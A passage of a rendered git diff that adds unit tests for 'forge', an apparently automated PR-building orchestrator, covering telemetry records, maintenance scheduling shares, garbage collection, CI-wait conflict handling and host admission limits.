const plain = world({ contract }); plain.ghCalls = 0; const gh = plain.io.gh; plain.io.gh = async (a) => { plain.ghCalls++; return gh(a); };
|
|
1401
|
+
await run(plain);
|
|
1402
|
+
assert.equal(w.ghCalls, plain.ghCalls, "no new gh API call");
|
|
1403
|
+
assert.equal(plain.telemetry.filter((x) => x.event === "STRUCTURE_DELTA").length, 1, "repos without a delta script still emit one record");
|
|
1404
|
+
});
|
|
1405
|
+
|
|
1406
|
+
it("RUN_TERMINAL carries the pr, milestone, conformance mode and the shadow verdict (no telemetry write of its own)", async () => {
|
|
1407
|
+
const w = mworld({ milestone: "Remote MCP Server", branchesOnOrigin: ["staging", "milestone/remote-mcp-server"] });
|
|
1408
|
+
const r = await run(w, { lane: undefined, conformance: "shadow" });
|
|
1409
|
+
assert.equal(r.terminalReason, "merged");
|
|
1410
|
+
const term = w.telemetry.find((x) => x.event === "RUN_TERMINAL");
|
|
1411
|
+
assert.deepEqual([term.pr, term.milestone, term.conformance_mode, term.shadow_would], [r.pr, "Remote MCP Server", "shadow", "conforms"]);
|
|
1412
|
+
const m = mapRecord(term, 5);
|
|
1413
|
+
assert.equal(m.pr, r.pr);
|
|
1414
|
+
assert.deepEqual([m.payload.milestone, m.payload.conformance_mode, m.payload.shadow_would], ["Remote MCP Server", "shadow", "conforms"]);
|
|
1415
|
+
assert.equal(w.telemetry.find((x) => x.event === "STRUCTURE_DELTA").milestone, "Remote MCP Server");
|
|
1416
|
+
const e = w.telemetry.find((x) => x.event === "RUN_TERMINAL");
|
|
1417
|
+
const en = world(); await run(en, { conformance: "enforce" });
|
|
1418
|
+
const t2 = en.telemetry.find((x) => x.event === "RUN_TERMINAL");
|
|
1419
|
+
assert.equal(t2.conformance_mode, "enforce"); assert.equal(t2.shadow_would, undefined); assert.ok(e);
|
|
1420
|
+
});
|
|
1421
|
+
|
|
1422
|
+
it("forge#4161: the merged lane result carries the structure record, milestone and lane for the drift fold (no extra call)", async () => {
|
|
1423
|
+
const w = mworld({ milestone: "Remote MCP Server", branchesOnOrigin: ["staging", "milestone/remote-mcp-server"] });
|
|
1424
|
+
const r = await run(w, { lane: undefined });
|
|
1425
|
+
assert.equal(r.terminalReason, "merged");
|
|
1426
|
+
const t = w.telemetry.find((x) => x.event === "STRUCTURE_DELTA");
|
|
1427
|
+
assert.deepEqual(r.structure, { deps_added: t.deps_added, deps_removed: t.deps_removed, new_edges: t.new_edges, removed_edges: t.removed_edges, top_growth: t.top_growth, decisions: t.decisions });
|
|
1428
|
+
assert.deepEqual([r.milestone, r.lane], ["Remote MCP Server", "milestone/remote-mcp-server"]);
|
|
1429
|
+
assert.equal(w.structureCalls, 2, "no extra script run");
|
|
1430
|
+
const nm = mworld({ contract: CONTRACT });
|
|
1431
|
+
nm.io.structureDelta = async () => ({ ...D, import_pairs: [] }); // undeclared edge: needs-human, never merged
|
|
1432
|
+
const r2 = await run(nm);
|
|
1433
|
+
assert.notEqual(r2.terminalReason, "merged");
|
|
1434
|
+
assert.equal(r2.structure, undefined, "only a merged result carries it");
|
|
1435
|
+
});
|
|
1436
|
+
|
|
1437
|
+
it("a run that does not merge writes no merge-time STRUCTURE_DELTA", async () => {
|
|
1438
|
+
const w = world();
|
|
1439
|
+
w.io.structureDelta = async () => ({ ...D, import_pairs: [] }); // undeclared edge: needs-human after one resume
|
|
1440
|
+
const r = await run(w);
|
|
1441
|
+
assert.equal(r.terminalReason, "needs-human");
|
|
1442
|
+
assert.ok(!w.telemetry.some((x) => x.event === "STRUCTURE_DELTA"));
|
|
1443
|
+
});
|
|
1444
|
+
|
|
1445
|
+
it("contract decisions: optional, validated when present, rendered in FORGE:CONTRACT; the planner is asked for them", () => {
|
|
1446
|
+
assert.deepEqual(DECISION_SOURCES, ["doc", "lint", "precedent", "spec"]);
|
|
1447
|
+
const text = "foo must handle a null argument without throwing.";
|
|
1448
|
+
assert.equal(validateContract(CONTRACT, text).ok, true, "no decisions is valid");
|
|
1449
|
+
assert.equal(validateContract({ ...CONTRACT, decisions: DEC }, text).ok, true);
|
|
1450
|
+
assert.match(validateContract({ ...CONTRACT, decisions: [{ id: "K1", choice: "x", source: "vibes" }] }, text).problems.join("\n"), /K1: decision source must be one of doc\|lint\|precedent\|spec/);
|
|
1451
|
+
assert.match(validateContract({ ...CONTRACT, decisions: [{ id: "K1", source: "doc" }] }, text).problems.join("\n"), /decision without id or choice/);
|
|
1452
|
+
assert.match(validateContract({ ...CONTRACT, decisions: "doc" }, text).problems.join("\n"), /decisions must be an array/);
|
|
1453
|
+
const body = renderContract({ ...CONTRACT, decisions: DEC }, "abc123abc123");
|
|
1454
|
+
assert.match(body, /### Decisions\n\| Id \| Choice \| Justification \| Source \|\n\| --- \| --- \| --- \| --- \|\n\| K1 \| web imports db \| docs\/architecture\.md:12 \| doc \|/);
|
|
1455
|
+
assert.ok(!renderContract(CONTRACT, "abc123abc123").includes("### Decisions"));
|
|
1456
|
+
assert.deepEqual(parseContractComment(body).contract.decisions, DEC);
|
|
1457
|
+
assert.match(builderPlanPrompt(7), /"decisions":\[\{"id":"K1".*"source":"doc\|lint\|precedent\|spec"\}\]/);
|
|
1458
|
+
assert.equal(renderStructure(null), "");
|
|
1459
|
+
assert.match(renderStructure({ deps_added: [], new_edges: [], removed_edges: [], top_growth: [], decisions: [] }), /\| Package deps added \| none \|/);
|
|
1460
|
+
});
|
|
1461
|
+
});
|
|
1462
|
+
|
|
1000
1463
|
describe("comment templates", () => {
|
|
1001
1464
|
const rv = { verdict: "PASS", fixes_issue: true, regression: false, reason: "src/foo.js:3 ok", evidence: "src/foo.js:3 guard", checked: "callers of foo, test/foo.test.js" };
|
|
1002
1465
|
const result = { status: "fixed", summary: "fixed foo", evidence: ["src/foo.js:3 null deref"], root_cause: "derefs null at src/foo.js:3", changes: [{ file: "src/foo.js", change: "add guard", why: "avoid crash" }],
|
|
@@ -1389,6 +1852,40 @@ describe("orchestrate", () => {
|
|
|
1389
1852
|
await assert.rejects(orchestrateFromCli([], {}), /usage/);
|
|
1390
1853
|
});
|
|
1391
1854
|
|
|
1855
|
+
it("#4183 orchestrateFromCli runs owned-resource GC in preflight and near the ceiling, prints a reclaimed line, honours auto_gc", async () => {
|
|
1856
|
+
const leanIo = { gh: async (a) => (a[0] === "repo" ? "main\n" : a.includes("milestone") ? JSON.stringify({ milestone: null }) : JSON.stringify({ body: "" })),
|
|
1857
|
+
git: async (a) => (a[0] === "ls-remote" && a.at(-1) === "refs/heads/staging" ? "abc\tref\n" : "") };
|
|
1858
|
+
const gcCalls = [];
|
|
1859
|
+
let t = 0;
|
|
1860
|
+
const mk = (over) => ({ dir: tmpDir("core-gc-"), batchRoot: tmpDir("core-gc-batch-"), allowTmpfs: true, emitTelemetry: async () => {}, io: { gh: async () => "o/r\n" }, leanIo,
|
|
1861
|
+
leanModule: { runCore: async (o) => { t += 6 * 60 * 1000; return { terminalReason: "merged", pr: o.issue, cost_usd: 0, wall_ms: 1 }; } },
|
|
1862
|
+
gc: async ({ phase }) => { gcCalls.push(phase); return { reclaimed: phase === "preflight" ? 2 : 1, bytes: 2 * 1048576 }; },
|
|
1863
|
+
host: { loadAvg1: () => 0, cores: () => 1, memAvailableMb: () => 100 }, now: () => t, hygiene: { auto_gc: true, max_host_load_ratio: 0.8 }, ...over });
|
|
1864
|
+
const logs = [];
|
|
1865
|
+
const l = console.log; console.log = (s) => logs.push(String(s));
|
|
1866
|
+
let res;
|
|
1867
|
+
try { res = await orchestrateFromCli(["1", "2", "--parallel", "1", "--repo", "o/r", "--no-prefilter"], mk({})); } finally { console.log = l; }
|
|
1868
|
+
// preflight once, then near-ceiling GC before the second admission (the first is within 5 min of the preflight run)
|
|
1869
|
+
assert.deepEqual(gcCalls, ["preflight", "admission"]);
|
|
1870
|
+
assert.equal(res.reclaimed.items, 3);
|
|
1871
|
+
assert.ok(logs.includes("reclaimed: 3 item(s), 4.0M (preflight 2, admissions 1)"), logs.join("\n"));
|
|
1872
|
+
// not near the ceiling: preflight only
|
|
1873
|
+
gcCalls.length = 0;
|
|
1874
|
+
console.log = () => {};
|
|
1875
|
+
try { await orchestrateFromCli(["1", "2", "--parallel", "1", "--repo", "o/r", "--no-prefilter"], mk({ host: { loadAvg1: () => 0, cores: () => 4, memAvailableMb: () => 64000 } })); } finally { console.log = l; }
|
|
1876
|
+
assert.deepEqual(gcCalls, ["preflight"]);
|
|
1877
|
+
// auto_gc: false disables GC and says so
|
|
1878
|
+
gcCalls.length = 0; logs.length = 0;
|
|
1879
|
+
console.log = (s) => logs.push(String(s));
|
|
1880
|
+
try { res = await orchestrateFromCli(["1", "--repo", "o/r", "--no-prefilter"], mk({ hygiene: { auto_gc: false, max_host_load_ratio: 0.8 } })); } finally { console.log = l; }
|
|
1881
|
+
assert.deepEqual(gcCalls, []);
|
|
1882
|
+
assert.ok(logs.includes("reclaimed: off (hygiene.auto_gc: false)"), logs.join("\n"));
|
|
1883
|
+
// a failing gc never fails the batch
|
|
1884
|
+
console.log = () => {};
|
|
1885
|
+
try { res = await orchestrateFromCli(["1", "--repo", "o/r", "--no-prefilter"], mk({ gc: async () => { throw new Error("docker down"); } })); } finally { console.log = l; }
|
|
1886
|
+
assert.equal(res.ok, true);
|
|
1887
|
+
});
|
|
1888
|
+
|
|
1392
1889
|
it("#4125 a lane-refused issue starts no run and its dependents are skipped, not reported as a cycle", async () => {
|
|
1393
1890
|
const runs = [];
|
|
1394
1891
|
const rows = await orchestrate({ issues: [1, 2, 3], parallel: 2, readBody: async (n) => (n === 2 ? "**Depends on**: #1" : ""),
|
|
@@ -1400,6 +1897,115 @@ describe("orchestrate", () => {
|
|
|
1400
1897
|
});
|
|
1401
1898
|
});
|
|
1402
1899
|
|
|
1900
|
+
describe("orchestrate maintenance budget (#4197)", () => {
|
|
1901
|
+
const memStore = () => { let st = null; return { load: () => st, save: (s) => { st = JSON.parse(JSON.stringify(s)); }, get: () => st }; };
|
|
1902
|
+
const serial = (classes, extra = {}) => {
|
|
1903
|
+
const starts = [];
|
|
1904
|
+
return { starts, opts: { parallel: 1, readBody: async () => "", classify: async (n) => classes[n] ?? { maintenance: false, priority: 2 },
|
|
1905
|
+
runOne: async (n) => { starts.push(n); await new Promise((r) => setImmediate(r)); return { terminalReason: "merged" }; }, ...extra } };
|
|
1906
|
+
};
|
|
1907
|
+
|
|
1908
|
+
it("pickNext: share 0.2 gives 2 maintenance starts in 10 when queued; P0/P1 features always first", () => {
|
|
1909
|
+
const classes = new Map([[1, { maintenance: false, priority: 2 }], [2, { maintenance: true, priority: 2 }], [3, { maintenance: false, priority: 1 }]]);
|
|
1910
|
+
let started = 0, maint = 0;
|
|
1911
|
+
const picks = [];
|
|
1912
|
+
for (let i = 0; i < 10; i++) {
|
|
1913
|
+
const n = pickNext([2, 1], { classes, share: 0.2, started, maint });
|
|
1914
|
+
picks.push(n); started++; if (n === 2) maint++;
|
|
1915
|
+
}
|
|
1916
|
+
assert.equal(picks.filter((n) => n === 2).length, 2);
|
|
1917
|
+
assert.deepEqual(picks, [1, 1, 1, 1, 2, 1, 1, 1, 1, 2]);
|
|
1918
|
+
// The share is due, yet a ready P1 feature still goes first; a P0 maintenance label is still maintenance.
|
|
1919
|
+
assert.equal(pickNext([2, 1, 3], { classes, share: 0.2, started: 4, maint: 0 }), 3);
|
|
1920
|
+
assert.equal(pickNext([2], { classes, share: 0.2, started: 0, maint: 0, whenIdle: true, featuresPending: true }), null);
|
|
1921
|
+
assert.equal(pickNext([2], { classes, share: 0.2, started: 0, maint: 0, whenIdle: true, featuresPending: false }), 2);
|
|
1922
|
+
assert.equal(pickNext([2], { classes, share: 0.2, started: 0, maint: 0, whenIdle: false, featuresPending: false }), null);
|
|
1923
|
+
});
|
|
1924
|
+
|
|
1925
|
+
it("orchestrate dispatches 2 of 10 lanes to queued maintenance with share 0.2, P1 first, and persists the ratio", async () => {
|
|
1926
|
+
const classes = { 20: { maintenance: false, priority: 1 } };
|
|
1927
|
+
for (const n of [11, 12, 13, 14]) classes[n] = { maintenance: true, priority: 2 };
|
|
1928
|
+
const store = memStore();
|
|
1929
|
+
const h = serial(classes);
|
|
1930
|
+
const feats = [1, 2, 3, 4, 5, 6, 7, 8];
|
|
1931
|
+
const rows = await orchestrate({ issues: [11, 12, 13, 14, ...feats, 20], store, maintenance: { share: 0.2, whenIdle: false }, ...h.opts });
|
|
1932
|
+
assert.equal(h.starts[0], 20, "P1 feature first");
|
|
1933
|
+
const first10 = h.starts.slice(0, 10);
|
|
1934
|
+
assert.equal(first10.filter((n) => classes[n]?.maintenance).length, 2, JSON.stringify(h.starts));
|
|
1935
|
+
// 11 starts: 9 features + 2 maintenance; the other 2 maintenance issues are held by the budget, not a cycle.
|
|
1936
|
+
assert.equal(h.starts.length, 11);
|
|
1937
|
+
const held = rows.filter((r) => r.outcome === "held");
|
|
1938
|
+
assert.deepEqual(held.map((r) => r.issue), [13, 14]);
|
|
1939
|
+
assert.ok(held.every((r) => r.detail === "maintenance share"));
|
|
1940
|
+
assert.ok(!rows.some((r) => r.detail === "dependency cycle"));
|
|
1941
|
+
assert.deepEqual(store.get().dispatch, { started: 11, maint: 2 });
|
|
1942
|
+
assert.equal(store.get().classes["11"].maintenance, true);
|
|
1943
|
+
});
|
|
1944
|
+
|
|
1945
|
+
it("when_idle drains maintenance once the feature queue is empty", async () => {
|
|
1946
|
+
const h = serial({ 5: { maintenance: true }, 6: { maintenance: true } });
|
|
1947
|
+
const rows = await orchestrate({ issues: [5, 6, 1], maintenance: { share: 0.2, whenIdle: true }, ...h.opts });
|
|
1948
|
+
assert.deepEqual(h.starts, [1, 5, 6]);
|
|
1949
|
+
assert.ok(rows.every((r) => r.outcome === "merged"));
|
|
1950
|
+
});
|
|
1951
|
+
|
|
1952
|
+
it("off by default: no maintenance option means FIFO admission, no classify call and no new store keys", async () => {
|
|
1953
|
+
let classified = 0;
|
|
1954
|
+
const store = memStore();
|
|
1955
|
+
const h = serial({ 5: { maintenance: true } }, { classify: async () => { classified++; return { maintenance: true, priority: 0 }; } });
|
|
1956
|
+
await orchestrate({ issues: [5, 6, 1], store, ...h.opts });
|
|
1957
|
+
assert.deepEqual(h.starts, [5, 6, 1]);
|
|
1958
|
+
assert.equal(classified, 0);
|
|
1959
|
+
assert.ok(!("classes" in store.get()) && !("dispatch" in store.get()));
|
|
1960
|
+
});
|
|
1961
|
+
|
|
1962
|
+
it("readMaintenance: null without config, block form parsed, inline flow map not enabled", () => {
|
|
1963
|
+
const d = tmpDir("maint-cfg-");
|
|
1964
|
+
assert.equal(readMaintenance(d), null);
|
|
1965
|
+
writeFileSync(join(d, "forge.yaml"), "maintenance:\n enabled: false\n share: 0.5\n");
|
|
1966
|
+
assert.equal(readMaintenance(d), null);
|
|
1967
|
+
writeFileSync(join(d, "forge.yaml"), "maintenance:\n enabled: true\n share: 0.25\n when_idle: false\n labels: maintenance,dead-code\n file_lines: 1500\n");
|
|
1968
|
+
assert.deepEqual(readMaintenance(d), { share: 0.25, whenIdle: false, labels: ["maintenance", "dead-code"], scan: "weekly", fileLines: 1500, docKb: 64 });
|
|
1969
|
+
writeFileSync(join(d, "forge.yaml"), "maintenance:\n enabled: true\n share: 7\n");
|
|
1970
|
+
assert.equal(readMaintenance(d).share, 0.2);
|
|
1971
|
+
writeFileSync(join(d, "forge.yaml"), "maintenance: { enabled: true, share: 0.2 }\n");
|
|
1972
|
+
assert.equal(readMaintenance(d), null);
|
|
1973
|
+
// forge#4195: the maintenance.hotspot sub-map's enabled/file_lines are not the budget's own keys
|
|
1974
|
+
writeFileSync(join(d, "forge.yaml"), "maintenance:\n enabled: false\n file_lines: 3000\n hotspot:\n enabled: true\n file_lines: 1500\n exclude_globs:\n - \"a/*\"\n");
|
|
1975
|
+
assert.equal(readMaintenance(d), null, "hotspot.enabled does not turn the budget on");
|
|
1976
|
+
writeFileSync(join(d, "forge.yaml"), "maintenance:\n enabled: true\n hotspot:\n file_lines: 1500\n file_lines: 3000\n");
|
|
1977
|
+
assert.equal(readMaintenance(d).fileLines, 3000);
|
|
1978
|
+
});
|
|
1979
|
+
|
|
1980
|
+
it("orchestrateFromCli pulls open maintenance-labelled issues only when the budget is configured", async () => {
|
|
1981
|
+
const calls = [];
|
|
1982
|
+
const leanIo = {
|
|
1983
|
+
gh: async (a) => {
|
|
1984
|
+
calls.push(a.join(" "));
|
|
1985
|
+
if (a[0] === "repo") return "main\n";
|
|
1986
|
+
if (a.includes("milestone")) return JSON.stringify({ milestone: null });
|
|
1987
|
+
if (a[0] === "issue" && a[1] === "list") return JSON.stringify(a.includes("maintenance") ? [{ number: 9, labels: [{ name: "maintenance" }] }, { number: 8, labels: [{ name: "maintenance" }, { name: "needs-human" }] }] : []);
|
|
1988
|
+
return JSON.stringify({ body: "", labels: a[2] === "9" ? [{ name: "maintenance" }] : [{ name: "priority:P1" }] });
|
|
1989
|
+
},
|
|
1990
|
+
git: async (a) => (a[0] === "ls-remote" && a.at(-1) === "refs/heads/staging" ? "abc\tref\n" : ""),
|
|
1991
|
+
};
|
|
1992
|
+
const ran = [];
|
|
1993
|
+
const mk = () => ({ dir: tmpDir("maint-orch-"), batchRoot: tmpDir("maint-orch-batch-"), allowTmpfs: true, emitTelemetry: async () => {}, io: { gh: async () => "o/r\n" }, leanIo,
|
|
1994
|
+
leanModule: { runCore: async (o) => { ran.push(o.issue); return { terminalReason: "merged", cost_usd: 0, wall_ms: 1 }; } } });
|
|
1995
|
+
const l = console.log; console.log = () => {};
|
|
1996
|
+
try {
|
|
1997
|
+
await orchestrateFromCli(["1", "--repo", "o/r", "--no-prefilter"], { ...mk(), maintenance: null });
|
|
1998
|
+
assert.deepEqual(ran, [1]);
|
|
1999
|
+
// No maintenance scan without the budget; labels (host priority, #4191) ride on the body call, never a call of their own.
|
|
2000
|
+
assert.ok(!calls.some((c) => c.startsWith("issue list") || c.endsWith("--json labels")), calls.join("\n"));
|
|
2001
|
+
ran.length = 0; calls.length = 0;
|
|
2002
|
+
const res = await orchestrateFromCli(["1", "--repo", "o/r", "--no-prefilter"], { ...mk(), maintenance: { share: 0.5, whenIdle: true, labels: ["maintenance"] } });
|
|
2003
|
+
assert.deepEqual(ran, [1, 9]);
|
|
2004
|
+
assert.deepEqual(res.rows.map((r) => [r.issue, r.outcome]), [[1, "merged"], [9, "merged"]]);
|
|
2005
|
+
} finally { console.log = l; }
|
|
2006
|
+
});
|
|
2007
|
+
});
|
|
2008
|
+
|
|
1403
2009
|
describe("runCliBackendAsync", () => {
|
|
1404
2010
|
it("returns the same envelope as runCliBackend, without blocking the event loop", async () => {
|
|
1405
2011
|
const { writeFileSync, chmodSync } = await import("node:fs");
|
|
@@ -1534,6 +2140,51 @@ describe("base-sync (#4100)", () => {
|
|
|
1534
2140
|
assert.ok(w.edits.some((e) => e.includes("needs-human")));
|
|
1535
2141
|
});
|
|
1536
2142
|
|
|
2143
|
+
describe("#4266 PR turns conflicting during the CI wait", () => {
|
|
2144
|
+
const syncCount = (w) => gitCalls(w).filter((x) => x[0] === "merge" && x[1] === "--no-edit").length;
|
|
2145
|
+
/** required check `build` reports nothing (never started) until a base-sync merged, then `then`. */
|
|
2146
|
+
const ciAfterSync = (w, then = "success") => {
|
|
2147
|
+
w.io.requiredChecks = async () => ["build"];
|
|
2148
|
+
w.io.checkStates = async () => { w.polls = (w.polls ?? 0) + 1; return syncCount(w) ? [{ name: "build", state: then }] : []; };
|
|
2149
|
+
};
|
|
2150
|
+
|
|
2151
|
+
it("base-syncs within one poll, waits for CI again and merges at the synced head", async () => {
|
|
2152
|
+
const w = world({ prView: [OKSTATE, CONFLICTING, OKSTATE], mergeResults: ["clean"] });
|
|
2153
|
+
ciAfterSync(w);
|
|
2154
|
+
const r = await run(w);
|
|
2155
|
+
assert.equal(r.terminalReason, "merged");
|
|
2156
|
+
assert.equal(syncCount(w), 1);
|
|
2157
|
+
assert.match(syncComment(w), /\*\*Trigger:\*\* PR became conflicting while waiting for CI/);
|
|
2158
|
+
assert.equal(w.polls, 2, "one poll before the sync, one green poll after it");
|
|
2159
|
+
assert.deepEqual(w.merges[0].slice(-2), ["--match-head-commit", w.head]);
|
|
2160
|
+
noRebaseNoForce(w);
|
|
2161
|
+
});
|
|
2162
|
+
|
|
2163
|
+
it("an unresolvable conflict during the wait ends needs-human base.conflict, never ci-pending", async () => {
|
|
2164
|
+
const w = world({ prView: [OKSTATE, CONFLICTING], mergeResults: ["clean", "clean", "clean"] });
|
|
2165
|
+
ciAfterSync(w, "pending");
|
|
2166
|
+
const r = await run(w, { ciMaxMinutes: 600 });
|
|
2167
|
+
assert.equal(r.terminalReason, "needs-human"); assert.equal(r.code, "base.conflict");
|
|
2168
|
+
assert.equal(syncCount(w), 2, "the base-sync limit still applies");
|
|
2169
|
+
assert.equal(w.merges.length, 0);
|
|
2170
|
+
assert.ok(w.clock < 60 * 60000, "left the wait long before the CI budget");
|
|
2171
|
+
});
|
|
2172
|
+
|
|
2173
|
+
it("required checks never started on a MERGEABLE PR log CI_NOT_STARTED once; started-but-pending checks do not", async () => {
|
|
2174
|
+
const dir = tmpDir("core-");
|
|
2175
|
+
const w = world(); w.io.requiredChecks = async () => ["build"]; w.io.checkStates = async () => [];
|
|
2176
|
+
assert.equal((await run(w, { dir, ciMaxMinutes: 60 })).terminalReason, "ci-pending");
|
|
2177
|
+
const hits = readLog(dir, 7).filter((e) => e.event === "CI_NOT_STARTED");
|
|
2178
|
+
assert.equal(hits.length, 1);
|
|
2179
|
+
assert.deepEqual(hits[0].checks, ["build"]); assert.ok(hits[0].minutes >= 10);
|
|
2180
|
+
assert.equal(syncCount(w), 0);
|
|
2181
|
+
const dir2 = tmpDir("core-");
|
|
2182
|
+
const w2 = world(); w2.io.requiredChecks = async () => ["build"]; w2.io.checkStates = async () => [{ name: "build", state: "pending" }];
|
|
2183
|
+
assert.equal((await run(w2, { dir: dir2, ciMaxMinutes: 60 })).terminalReason, "ci-pending");
|
|
2184
|
+
assert.equal(readLog(dir2, 7).filter((e) => e.event === "CI_NOT_STARTED").length, 0);
|
|
2185
|
+
});
|
|
2186
|
+
});
|
|
2187
|
+
|
|
1537
2188
|
it("unresolved conflict markers after the builder ends needs-human with base.conflict", async () => {
|
|
1538
2189
|
const w = world({ prView: [CONFLICTING], mergeResults: ["conflict"] });
|
|
1539
2190
|
w.markers = true;
|
|
@@ -1625,6 +2276,7 @@ describe("usage limit, lease takeover, worktree setup, run tmp (#4101-#4104)", (
|
|
|
1625
2276
|
assert.equal(r.terminalReason, "deferred");
|
|
1626
2277
|
assert.equal(r.code, "rate_limited");
|
|
1627
2278
|
assert.match(r.detail, /resets at 8:30pm \(Asia\/Kolkata\)/);
|
|
2279
|
+
assert.equal(r.backendId, laneBackendId(process.env), "#4190: the hold names the account that hit the limit");
|
|
1628
2280
|
assert.equal(w.edits.some((e) => e.includes("needs-human")), false);
|
|
1629
2281
|
assert.equal(traj(w).length, 0, "no trajectory comment for a deferral");
|
|
1630
2282
|
assert.equal(w.leaseWrites.at(-1).lease, null, "lease released");
|
|
@@ -1800,9 +2452,10 @@ describe("host admission (#4105)", () => {
|
|
|
1800
2452
|
}
|
|
1801
2453
|
});
|
|
1802
2454
|
|
|
1803
|
-
it("high load per core is deferred; disabled admission runs even on a starved host", async () => {
|
|
2455
|
+
it("high load per core is deferred when max_load_per_core is configured (off by default since #4169); disabled admission runs even on a starved host", async () => {
|
|
1804
2456
|
const wl = withHost(world(), host({ load: 40, cores: 8 }));
|
|
1805
|
-
assert.match((await run(wl)).detail, /load 5\.0\/core > 4/);
|
|
2457
|
+
assert.match((await run(wl, { admission: { max_load_per_core: 4 } })).detail, /load 5\.0\/core > 4/);
|
|
2458
|
+
assert.equal((await run(withHost(world(), host({ load: 40, cores: 8 })))).terminalReason, "merged", "load alone no longer defers a lane");
|
|
1806
2459
|
const wd = withHost(world(), host({ mem: 1, free: { "/tmp": 1, "/home/x/.forge/tmp": 1 }, load: 99 }));
|
|
1807
2460
|
assert.equal((await run(wd, { admission: { enabled: false } })).terminalReason, "merged");
|
|
1808
2461
|
});
|
|
@@ -1919,6 +2572,59 @@ describe("batch robustness (#4112-#4115)", () => {
|
|
|
1919
2572
|
assert.ok(st.peak <= 2 * 1.0 + 1.0, `observed load stays near the ceiling (${st.peak})`);
|
|
1920
2573
|
});
|
|
1921
2574
|
|
|
2575
|
+
// ---- #4169 phase-aware admission ----
|
|
2576
|
+
it("#4169 by default a loaded host neither defers the lane nor pauses the builder (LLM phases are not gated by load)", async () => {
|
|
2577
|
+
const w = world(); const calls = [];
|
|
2578
|
+
w.io.host = hostFor({ load: () => 40 });
|
|
2579
|
+
slowBuilder(w, 150, (c) => { c.control.pause = () => { calls.push("pause"); return true; }; c.control.resume = () => { calls.push("resume"); return true; }; });
|
|
2580
|
+
const r = await run(w, { governorPollMs: 20 });
|
|
2581
|
+
assert.equal(r.terminalReason, "merged");
|
|
2582
|
+
assert.deepEqual(calls, []);
|
|
2583
|
+
});
|
|
2584
|
+
|
|
2585
|
+
const heavyWorld = () => {
|
|
2586
|
+
const w = world(); w.acq = []; w.rel = 0;
|
|
2587
|
+
w.io.heavy = { acquire: async (e, cfg) => { w.acq.push({ ...e, cfg }); w.seq.push(`heavy:${e.phase}`); return { waitMs: 5000, queued: 2, release: () => { w.rel++; } }; } };
|
|
2588
|
+
w.io.writeHeavyShims = async (binDir, { path }) => { w.shimDir = binDir; w.shimPath = path; return ["tsc", "pnpm"]; };
|
|
2589
|
+
w.setups = []; w.io.runSetup = async (a) => { w.setups.push(a); return { exit: 0, stdout: "", stderr: "" }; };
|
|
2590
|
+
w.io.runCommand = async () => ({ rc: 0, output: "" });
|
|
2591
|
+
const g = w.io.gh; w.io.gh = async (a) => { const out = await g(a); if (a[0] === "issue" && a[1] === "view" && a[2] === "7") { const j = JSON.parse(out); return JSON.stringify({ ...j, labels: [{ name: "priority:P0" }] }); } return out; };
|
|
2592
|
+
return w;
|
|
2593
|
+
};
|
|
2594
|
+
|
|
2595
|
+
it("#4169 heavy steps: env.setup and precheck take a host slot; builder runs get the shim PATH, phase, issue and priority; the result carries waits", async () => {
|
|
2596
|
+
const w = heavyWorld();
|
|
2597
|
+
w.files[`${WT}/.forge-lean/heavy-waits.jsonl`] = '{"phase":"implement","name":"tsc","waitMs":30000,"queued":4}\n';
|
|
2598
|
+
const r = await run(w, { envSetup: "pnpm install", precheck: { commands: ["pnpm lint"] }, heavy: { max: 2 } });
|
|
2599
|
+
assert.equal(r.terminalReason, "merged");
|
|
2600
|
+
assert.deepEqual(w.acq.map((a) => [a.phase, a.issue, a.priority, a.cfg.max]), [["setup", 7, 0, 2], ["precheck", 7, 0, 2]]);
|
|
2601
|
+
assert.equal(w.rel, 2, "every slot is released");
|
|
2602
|
+
assert.equal(w.shimDir, `${WT}/.forge-lean/heavy/bin`);
|
|
2603
|
+
const roles = w.calls.filter((c) => c[0] === "runner").map((c) => c[1]);
|
|
2604
|
+
const envs = w.envs.filter((e, i) => e && roles[i] === "builder");
|
|
2605
|
+
assert.ok(envs.length >= 2);
|
|
2606
|
+
for (const e of envs) {
|
|
2607
|
+
assert.ok(e.PATH.startsWith(`${WT}/.forge-lean/heavy/bin:`), e.PATH);
|
|
2608
|
+
assert.equal(e.FORGE_LANE_ISSUE, "7"); assert.equal(e.FORGE_LANE_PRIORITY, "0"); assert.equal(e.FORGE_HEAVY_MAX, "2");
|
|
2609
|
+
assert.equal(e.FORGE_HEAVY_WAITS, `${WT}/.forge-lean/heavy-waits.jsonl`);
|
|
2610
|
+
}
|
|
2611
|
+
assert.deepEqual(envs.map((e) => e.FORGE_LANE_PHASE).slice(0, 2), ["plan", "implement"]);
|
|
2612
|
+
assert.deepEqual(r.waits, { setup: 5000, precheck: 5000, implement: 30000 });
|
|
2613
|
+
assert.equal(r.heavyQueueMax, 4);
|
|
2614
|
+
});
|
|
2615
|
+
|
|
2616
|
+
it("#4169 without io.heavy (or heavy.enabled false) nothing is gated and the runner env is unchanged", async () => {
|
|
2617
|
+
const w = world();
|
|
2618
|
+
const r = await run(w);
|
|
2619
|
+
assert.equal(r.terminalReason, "merged");
|
|
2620
|
+
assert.equal(r.waits, undefined);
|
|
2621
|
+
for (const e of w.envs.filter(Boolean)) { assert.equal(e.FORGE_LANE_PHASE, undefined); assert.equal(e.PATH, undefined); }
|
|
2622
|
+
const w2 = heavyWorld();
|
|
2623
|
+
const r2 = await run(w2, { envSetup: "pnpm install", heavy: { enabled: false } });
|
|
2624
|
+
assert.equal(r2.terminalReason, "merged");
|
|
2625
|
+
assert.deepEqual(w2.acq, []); assert.equal(w2.shimDir, undefined);
|
|
2626
|
+
});
|
|
2627
|
+
|
|
1922
2628
|
// ---- #4113 ----
|
|
1923
2629
|
it("#4113 a merge failing once with 'Base branch was modified' then succeeding ends merged in a single run", async () => {
|
|
1924
2630
|
const w = world({ mergeErrors: ["GraphQL: Base branch was modified. Review and try the merge again. (mergePullRequest)"] });
|
|
@@ -1988,6 +2694,71 @@ describe("batch robustness (#4112-#4115)", () => {
|
|
|
1988
2694
|
assert.ok(w.calls.some((c) => c[0] === "git" && c[1] === "worktree" && c[2] === "add" && c.at(-1) === "feat/issue-7-lean"));
|
|
1989
2695
|
});
|
|
1990
2696
|
|
|
2697
|
+
// ---- #4221 sparse lane worktrees ----
|
|
2698
|
+
const BIG = `100644 blob ${"a".repeat(40)} 3000000\tweb/openapi.json\x00100644 blob ${"b".repeat(40)} 12\tsrc/foo.js\x00`;
|
|
2699
|
+
const sparseWorld = (o = {}, git1 = null) => {
|
|
2700
|
+
const w = world(o);
|
|
2701
|
+
const g = w.io.git;
|
|
2702
|
+
